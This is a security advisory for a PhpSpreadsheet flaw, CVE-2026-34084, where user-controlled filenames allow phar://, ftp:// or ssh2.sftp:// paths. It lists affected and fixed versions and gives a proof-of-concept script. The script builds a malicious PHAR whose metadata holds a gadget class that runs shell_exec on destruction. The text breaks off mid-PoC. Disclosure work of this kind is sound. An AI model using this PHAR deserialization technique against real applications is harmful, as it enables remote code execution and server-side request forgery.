CVE-2026-34084 — PhpSpreadsheet SSRF and RCE via PHP stream wrappers in IOFactory::load

Affected: PHPOffice PhpSpreadsheet

PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load() is user-controlled, an attacker can supply a PHP stream wrapper path (such as phar://, ftp://, or ssh2.sftp://) that passes the is_file() check in File::assertFile(). The phar:// wrapper triggers deserialization of the PHAR metadata, which can lead to remote code execution if a suitable gadget chain is available in the application. The ftp:// and ssh2.sftp:// wrappers can be used for server-side request forgery. This issue has been fixed in versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.

GHSA-q4q6-r8wh-5cgh — PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled

Affected: Packagist: phpoffice/phpspreadsheet

The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`. The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).

## PoC To reproduce the vulnerable behavior, the following scripts were used:

`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library: ```ini phar.readonly=0 ```

`make_phar.php` to create the malicious file: ```php <?php // php -c php.ini make_phar.php class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } }

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->addFromString('whatever', 'dummy content'); $phar->setMetadata($pop); $phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional echo "exploit.xlsx created \n";

```

`test.php` showcases the unsafe pattern: ```php <?php require '…

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CVE-2026-34084 — PhpSpreadsheet SSRF and RCE via PHP stream wrappers in IOFactory::load

GHSA-q4q6-r8wh-5cgh — PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled